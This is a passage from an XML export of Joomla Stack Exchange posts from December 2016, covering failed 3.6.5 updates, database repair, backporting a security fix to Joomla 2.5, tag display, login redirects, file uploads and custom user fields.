directories:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;administrator/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;components/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;libraries/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins/authentication/joomla&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Open the file in your IDE (Sublime, Notepadd++), side-by-side with the same files from a Joomla &lt;em&gt;&lt;strong&gt;3.6.4&lt;/strong&gt;&lt;/em&gt; installation.&lt;/p&gt;&#xA;&lt;p&gt;You'll then be able to see the code differences between &lt;strong&gt;3.6.4&lt;/strong&gt; and &lt;strong&gt;3.6.5&lt;/strong&gt;, like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X5xfM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5xfM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You code that has been added, you can then copy over to the same file on your Joomla &lt;em&gt;&lt;strong&gt;2.5.28&lt;/strong&gt;&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Apply the same process for all the files from the update package.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Please note that there are a lot of differences in code between Joomla 2.5 and 3.x, so you may need to make some code tweaks.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-12-14T11:33:10.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18634" PostTypeId="1" AcceptedAnswerId="18635" CreationDate="2016-12-14T12:29:20.310" Score="3" ViewCount="130" Body="&lt;p&gt;I was trying to update my Joomla core to the latest 3.6.5 version, but the update failed due to space restrictions on the hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I try to check for updates I get the following error message:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An error occurred 1017 Can't find file: '#__updates' (errno: 2) SQL=SELECT DISTINCT update_site_id FROM #__updates WHERE 'update_site_id' IN ( SELECT update_site_id FROM #__update_sites WHERE 'last_check_timestamp' IS NULL OR 'last_check_timestamp' &amp;lt;= '1481695762')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to flush the error and re-try the update or do I have to manually apply the update?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-12-15T07:02:30.477" LastActivityDate="2016-12-15T07:02:30.477" Title="Reinstall Joomla failed" Tags="|joomla-3.x|joomla-3.6|upgrade|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18635" PostTypeId="2" ParentId="18634" CreationDate="2016-12-14T14:09:05.313" Score="0" Body="&lt;p&gt;The best approach for you will be to manually update Joomla!. You can do this by following these steps:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Before updating, always take a backup and don’t forget to test it.&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the update package from &lt;a href=&quot;https://www.joomla.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomla.org/download.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract the download package on your computer&lt;/li&gt;&#xA;&lt;li&gt;Using your favorite FTP software, upload the folders and files at the root of the website or in the folder where your Joomla! installation is located. (&lt;strong&gt;NOTE:&lt;/strong&gt; If you are using &lt;a href=&quot;https://filezilla-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Filezilla&lt;/a&gt;, click on &quot;Replace&quot; for all, if you are using &lt;a href=&quot;https://winscp.net/eng/download.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinSCP&lt;/a&gt;, click on upload and then allow override for all. The FTP software will overwrite the existing files and add the new ones.)&lt;/li&gt;&#xA;&lt;li&gt;Log in to your Joomla! Administrator panel and go to &lt;strong&gt;Extensions → Manage → Database&lt;/strong&gt; and select the &lt;strong&gt;Fix&lt;/strong&gt; button on the top left.&lt;/li&gt;&#xA;&lt;li&gt;Go within the manage section to Discover menu item in the left menu and click the &lt;strong&gt;Discover&lt;/strong&gt; button. Select only the &lt;strong&gt;Joomla! CORE extensions&lt;/strong&gt; shown in the list and click the &lt;strong&gt;Install&lt;/strong&gt; button. &lt;strong&gt;(NOTE: do not select installation for the 3rd party extensions you may have installed)&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the main menu of your administrator panel, go to &lt;strong&gt;System → Clear Cache&lt;/strong&gt; and if any rows are shown, select them and click the &lt;strong&gt;Delete&lt;/strong&gt; button at the top left.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are coming &lt;strong&gt;directly from 3.6.4&lt;/strong&gt;, there is a very small patch file that you can extract and upload (instead of the full 3.6.5 update package):&#xA;&lt;a href=&quot;https://downloads.joomla.org/cms/joomla3/3-6-5/joomla_3-6-4_to_3-6-5-stable-patch_package-zip?format=zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/cms/joomla3/3-6-5/joomla_3-6-4_to_3-6-5-stable-patch_package-zip?format=zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sources: &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;, &lt;a href=&quot;https://downloads.joomla.org/cms/joomla3/3-6-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/cms/joomla3/3-6-5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-12-14T14:18:44.430" LastActivityDate="2016-12-14T14:18:44.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18636" PostTypeId="2" ParentId="18629" CreationDate="2016-12-14T14:49:29.533" Score="1" Body="&lt;p&gt;As others have stated, you can apply just the security fixes that 3.6.5 contains, but there are many other security fixes between 2.5 and 3.6.5 that are equally important. Since you are asking how to apply the fix to 2.5, I am assuming that you have not already applied every other security fix to your site. Thus, if you apply this fix, your site will STILL be vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The best approach will be to take the &lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 2.5 to 3.x Step by Step Migration&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For very large or complex 2.5 to 3.x migrations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one-click update will be fine and work well for many. For some larger, more complex sites, the one-click update may not be the best route. For large or very complex sites, you may want to follow instructions for a regular migration and bypass the one-click update functionality. To do this, follow the same instructions for &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Planning_Migration_-_Joomla_1.5_to_3&quot; rel=&quot;nofollow noreferrer&quot;&gt;planning 1.5 to 3.x&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_1.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;migrating from Joomla 1.5 to 3.x&lt;/a&gt;, simply substitute 2.5 for 1.5 while reading.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-12-14T14:49:29.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18637" PostTypeId="2" ParentId="18606" CreationDate="2016-12-14T17:52:55.320" Score="1" Body="&lt;p&gt;If you want to control access to K2 articles individually, you can do that inside that article settings in the &quot;Access Level&quot; field. The same setting can be applied (Access Level) to K2 categories inside each category's settings. Most likely, you've got all these set to &quot;Public&quot;. In order to create different access levels, go to &lt;em&gt;Users &gt; Access Levels&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;More reading: &lt;a href=&quot;https://docs.joomla.org/ACL_Tutorial_for_Joomla_1.6#Access_Levels&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/ACL_Tutorial_for_Joomla_1.6#Access_Levels&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-12-14T17:52:55.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18639" PostTypeId="1" AcceptedAnswerId="18641" CreationDate="2016-12-15T09:57:28.273" Score="1" ViewCount="489" Body="&lt;p&gt;I have some category blog menu items with a couple of articles showing in a blog layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The articles are tagged and those are showing above each article preview as well as in the articles themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to hide the tags in the blog layout but still have them visible in the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the options, for the category blog menu item I have tried the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Options-&gt;Show Tags=Hide&lt;/strong&gt; -  but that seems to hide them both in the blog layout and in the articles. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category-&gt;Show Tags=Hide&lt;/strong&gt; - hide the category tags which I'm not using.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a setting somewhere for this? Or do I have to do something else?&lt;/p&gt;&#xA;" OwnerUserId="9435" LastEditorUserId="9182" LastEditDate="2016-12-16T11:22:10.527" LastActivityDate="2016-12-16T11:22:10.527" Title="Hide tags in category blog layout" Tags="|joomla-3.x|tags|layout|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18640" PostTypeId="1" CreationDate="2016-12-15T10:03:10.617" Score="3" ViewCount="51" Body="&lt;p&gt;Does anyone know a way to protect a custom module in it entirety (position, content and from being unpublished and or deleted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a module that I don't want other users from altering the file in anyway due to it being a terms and conditions module.&lt;/p&gt;&#xA;" OwnerUserId="9436" LastEditorUserId="126" LastEditDate="2017-01-19T13:47:25.903" LastActivityDate="2017-01-20T07:37:40.060" Title="Protecting modules from deletion or editing" Tags="|module|acl|administration|module-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18641" PostTypeId="2" ParentId="18639" CreationDate="2016-12-15T10:39:36.933" Score="1" Body="&lt;p&gt;In short this is the hierarchy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu item layout can be overridden by Article options and the the Article Page itself has the final say so if you will. &lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-12-15T10:39:36.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18642" PostTypeId="1" AcceptedAnswerId="18643" CreationDate="2016-12-15T14:05:43.640" Score="1" ViewCount="4197" Body="&lt;p&gt;So, I recently had an issue with a failure with updating to Joomla 3.6.5. It looks like I was mostly able to recover from the error by manually updating, however there seem to be issues with the database. Fixing the database just produces more errors, and thus isn't a option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Table 'greentec.#__updates' doesn't exist SQL=SHOW COLUMNS IN `#__updates` WHERE field = 'infourl'&#xA;Table 'greentec.#__updates' doesn't exist SQL=SHOW COLUMNS IN `#__updates` WHERE Field = 'categoryid'&#xA;Table 'greentec.#__updates' doesn't exist SQL=SHOW COLUMNS IN `#__updates` WHERE field = 'extra_query'&#xA;Table 'greentec.#__updates' doesn't exist SQL=SHOW COLUMNS IN `#__updates` WHERE field = 'version' AND type = 'varchar(32)'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following list of database problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Database schema version (3.4.0-2015-02-26) does not match CMS version (3.6.3-2016-08-16).&#xA;Database update version (3.4.8) does not match CMS version (3.6.5).&#xA;Table 'zyjgk_updates' does not have column 'infourl'. (From file 2.5.0-2012-01-10.sql.)&#xA;Table 'zyjgk_updates' should not have column 'categoryid'. (From file 3.0.0.sql.)&#xA;Table 'zyjgk_updates' does not have column 'extra_query'. (From file 3.2.2-2013-12-22.sql.)&#xA;Table 'zyjgk_updates' does not have column 'version' with type varchar(32). (From file 3.2.2-2014-01-18.sql.)&#xA;Table 'zyjgk_session' does not have column 'session_id' with type varchar(191). (From file 3.5.0-2015-07-01.sql.)&#xA;Table 'zyjgk_user_keys' does not have column 'series' with type varchar(191). (From file 3.5.0-2015-07-01.sql.)&#xA;Table 'zyjgk_contentitem_tag_map' should not have index 'idx_tag'. (From file 3.5.0-2015-10-26.sql.)&#xA;Table 'zyjgk_contentitem_tag_map' should not have index 'idx_type'. (From file 3.5.0-2015-10-26.sql.)&#xA;Table 'zyjgk_redirect_links' should not have index 'idx_link_old'. (From file 3.5.0-2016-03-01.sql.)&#xA;Table 'zyjgk_redirect_links' does not have column 'old_url' with type VARCHAR(2048). (From file 3.5.0-2016-03-01.sql.)&#xA;Table 'zyjgk_redirect_links' does not have column 'new_url' with type VARCHAR(2048);. (From file 3.5.0-2016-03-01.sql.)&#xA;Table 'zyjgk_redirect_links' does not have column 'referer' with type VARCHAR(2048). (From file 3.5.0-2016-03-01.sql.)&#xA;Table 'zyjgk_redirect_links' does not have index 'idx_old_url'. (From file 3.5.0-2016-03-01.sql.)&#xA;Table 'zyjgk_user_keys' does not have column 'user_id' with type varchar(150). (From file 3.5.1-2016-03-25.sql.)&#xA;Table 'zyjgk_redirect_links' does not have column 'new_url' with type VARCHAR(2048);. (From file 3.6.0-2016-04-06.sql.)&#xA;Table 'zyjgk_menu_types' does not have column 'asset_id'. (From file 3.6.0-2016-04-09.sql.)&#xA;Table 'zyjgk_languages' does not have column 'asset_id'. (From file 3.6.0-2016-06-05.sql.)&#xA;Table 'zyjgk_newsfeeds' does not have column 'link' with type VARCHAR(2048). (From file 3.6.3-2016-08-15.sql.)&#xA;The Joomla! Core database tables have not been converted yet to UTF-8 Multibyte (utf8mb4).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site seem to be functioning for now, but I get database errors when I try to run an update, so I'm sure of how to proceed.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-12-19T07:50:46.517" LastActivityDate="2016-12-19T07:50:46.517" Title="Fix database after failed update" Tags="|database|update|joomla-3.6|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18643" PostTypeId="2" ParentId="18642" CreationDate="2016-12-15T16:12:14.750" Score="-1" Body="&lt;p&gt;Did you update the machine locally or on a remote server? - It is always a good idea to backup your live machine to a local one, and check the update first. I would roll back a backup, or if that does not help:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a backup, copy all files and backup database to a local machine;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With phpmyadmin or similar program, I would analyze the database with the tables above,&#xA;e.g. &lt;em&gt;if the zyjgk_updates' does not have column 'infourl'&lt;/em&gt; ; and compare the data structure of each table with a new joomla installation. If there are any differences, try to alter the table manually within phpmyadmin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For me, it looks like, there is a broken table zyjgk_update ...&#xA;And with more information, the community can deliver also much more help.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-12-15T16:12:14.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18644" PostTypeId="2" ParentId="18642" CreationDate="2016-12-15T17:56:43.860" Score="2" Body="&lt;p&gt;If you initially installed Joomla through Cpanel, by default, a backup is automatically created prior to update. I would look into that. I wont beat a dead horse but BACK UP, BACK UP, BACK UP! :)&lt;/p&gt;&#xA;&lt;p&gt;Now, what may indeed be the problem is a simply fix that should have been done before and/or checked after update..&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How to (most likely) fix the error.&lt;/strong&gt; (also check to see what php and mysql versions you are running)&lt;/p&gt;&#xA;&lt;p&gt;Before updating and/or after your instance of Joomla you need to fix the database tables for the site. The database tool can be found under the extensions manager &amp;gt; database tab in your site's admin.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Once on this screen you should see that there are errors in the database.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there are errors click the fix button in the top right hand corner.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the fix button has been clicked you should see a success message as per the screenshot below.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note: pay no mind to the pics and joomla version. It is the same concept.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C96QG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C96QG.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dUFLg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUFLg.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2rAXY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2rAXY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DOcNd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DOcNd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And Lastly - Perform a back up now if all went well.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-12-15T18:03:17.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18647" PostTypeId="2" ParentId="18629" CreationDate="2016-12-15T20:52:18.377" Score="2" Body="&lt;p&gt;VirtueMart has released a Joomla 2.5.28 Patch which can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.virtuemart.net/projects/virtuemart/activity&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.virtuemart.net/projects/virtuemart/activity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course use it with caution and backup before patching.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-12-15T20:52:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18648" PostTypeId="2" ParentId="18629" CreationDate="2016-12-15T23:40:09.643" Score="1" Body="&lt;p&gt;Looking at the description of &lt;a href=&quot;https://developer.joomla.org/security-centre/664-20161201-core-elevated-privileges.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the high priority Joomla 3.6.5 security patch&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Incorrect use of unfiltered data stored to the session on a form validation failure allows for existing user accounts to be modified; to include resetting their username, password, and user group assignments.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like disabling User Registration on Joomla 2.5 websites and removing any untrusted user accounts may be sufficient to protect the website from this vulnerability without the need for any additional patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if the website needs user registration to be enabled then &lt;a href=&quot;https://dev.virtuemart.net/projects/virtuemart/activity&quot; rel=&quot;nofollow noreferrer&quot;&gt;the patch released by the VirtueMart Team&lt;/a&gt; may be the best option. (Thanks @FFrewin).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-12-15T23:40:09.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18649" PostTypeId="1" CreationDate="2016-12-16T13:51:54.373" Score="2" ViewCount="1041" Body="&lt;p&gt;We are trying to add Python code files to our Joomla site. We are using the JCE editor plugin, which does not seem to allow this (we've been trying different combinations wrt. the JCE settings). Has anyone done this before using JCE, or is there a different plugin for code file upload that we should consider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything inside Joomla or JCE itself that blocks such file uploads? So far, we've been looking at /libraries/joomla/filter/input.php as well as the general media settings, with no success. I don't think this is blocked by PHP, or is it?&lt;/p&gt;&#xA;" OwnerUserId="9439" LastActivityDate="2016-12-23T20:58:03.290" Title="Upload code files to Joomla site" Tags="|file-upload|jce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18650" PostTypeId="1" CreationDate="2016-12-16T16:49:49.330" Score="1" ViewCount="177" Body="&lt;p&gt;I created following URL (that I am sending via email to the user):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$form-&gt;data['redirect_url'] = urlencode(base64_encode(&quot;&lt;a href=&quot;http://www.domain.it/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domain.it/&lt;/a&gt;&quot; . $form-&gt;data['link_form'] . &quot;?id_risposta=&quot; . $form-&gt;data['id_risposta']));&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$form-&gt;data['link_modifica_bozza'] = &quot;&lt;a href=&quot;http://www.domain.it/component/users/?view=login&amp;amp;return=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domain.it/component/users/?view=login&amp;amp;return=&lt;/a&gt;&quot; . $form-&gt;data['redirect_url'];&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that after login the user will be redirect to &quot;redirect_url&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if the user is already logged in, it is stacked in profile page, and it is not redirect to &quot;redirect_url&quot; automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add an automatic redirect directly in the URL if the user is already logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like a conditional URL...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9440" LastActivityDate="2017-07-15T01:37:03.530" Title="Joomla return URL when login sent via email" Tags="|joomla-3.x|login|url|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18651" PostTypeId="2" ParentId="18650" CreationDate="2016-12-16T22:16:25.193" Score="1" Body="&lt;p&gt;I had a similar problem, and I have solved it as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Joomla, you can create a Menu with Access &quot;Registered&quot;,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you send a link with this Menu, the user will automatically gets a login page and redirected afterwards to this site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Btw, if you need to show that menu, you can create a hidden menu first (with &quot;registered&quot; access), and add an &quot;Menu Item Alias&quot; (System Links) to this hidden menu. You can test it on my site with e.g.&#xA;&lt;a href=&quot;https://www.loytec.com/support-en/rma&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.loytec.com/support-en/rma&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user is not logged in, the standard log-in process is shown; if the user is already logged-in, it directs to the menu.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-12-16T22:16:25.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18652" PostTypeId="2" ParentId="18649" CreationDate="2016-12-16T22:47:31.623" Score="1" Body="&lt;p&gt;By default, JCE strips non standard code when saving the article. The Joomla text filters may also block certain code but these can be disabled (e.g. for Super Administrators) at System -&gt; Global Configuration -&gt; Text Filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a third party extension like the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar to insert PHP and other code into an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla runs on PHP so you will probably have to call your python script from PHP. There seems to be quite a few ways to do this. For some examples, see the answers to the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/19735250/1983389&quot;&gt;https://stackoverflow.com/q/19735250/1983389&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/8303923/1983389&quot;&gt;https://stackoverflow.com/q/8303923/1983389&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/166944/1983389&quot;&gt;https://stackoverflow.com/q/166944/1983389&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/5497540/1983389&quot;&gt;https://stackoverflow.com/q/5497540/1983389&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-12-16T22:47:31.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18654" PostTypeId="1" CreationDate="2016-12-17T07:05:07.437" Score="4" ViewCount="2533" Body="&lt;p&gt;Can we add extra field directly to users table? We have one concept like user can get notification or not. Here if we add data to profiles field we can not compare that field directly in SQL query as it stored data in attribs column of user profile table. we are planning to add extra field in users table directly into database. It is valid and it will create any issue in Joomla upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our new field will not shown on Joomla admin at where we are adding Users information for User management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if anyone can guide over here like what we have to do in this type of functionality.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2017-09-28T20:38:17.853" Title="Add field to Users table of joomla" Tags="|joomla-3.x|user|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18656" PostTypeId="2" ParentId="18654" CreationDate="2016-12-17T12:52:11.067" Score="2" Body="&lt;p&gt;It's almost always a mistake to change any of core Joomla, as patches and database fixes could override your work.  Also, any third party extensions will expect the database structure to be as standard, and so it could cause conflicts there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately &lt;code&gt;user_profiles&lt;/code&gt; is the right place to put the information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only official info I could find on how they expect it to be used is this mention on an  &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;adding fields to articles&lt;/a&gt; tutorial:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The contents of the extra custom fields need to be stored in the&#xA;  database. Ideally would be if they have their own dedicated database&#xA;  table. This however, requires considerable extension overhead. With&#xA;  Joomla 2.5 is is possible to extend the user profile. The extra fields&#xA;  are stored in the table #__user_profiles. That table is constructed&#xA;  and used in such a manner that it can also hold the extra article&#xA;  fields. (I would like to spark the discussion to evolve&#xA;  __user_profiles into a generic table for expanding core tables.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My feeling is that the issue here is more likely your mySQL - a question &lt;a href=&quot;https://stackoverflow.com/questions/13647344/mysql-query-for-getting-joomla-users-and-their-profile-fields&quot;&gt;here&lt;/a&gt; shows how to join the two tables in your query.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-12-17T12:52:11.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18660" PostTypeId="1" CreationDate="2016-12-18T10:20:16.727" Score="2" ViewCount="112" Body="&lt;p&gt;I've recently run into a strange issue after upgrading to 3.6.5. I've been trying to resolve issues with a failed one-click-update to my live site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully, I had a pre-updated backup living on a test server. I synchronized the content and then ran the updates on the test server. When I copy the code base and db to my local machine, the site and content are correct, but when I go to &lt;strong&gt;Extensions =&gt; database&lt;/strong&gt; I get notified that the database is not up to date and there are errors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really perplexed as to what is happening here, because the site is fine on the test server, but has database problems on my localhost setup. Theoretically, there's no reason for this. I don't want to move to the db to live site until I know what's going with 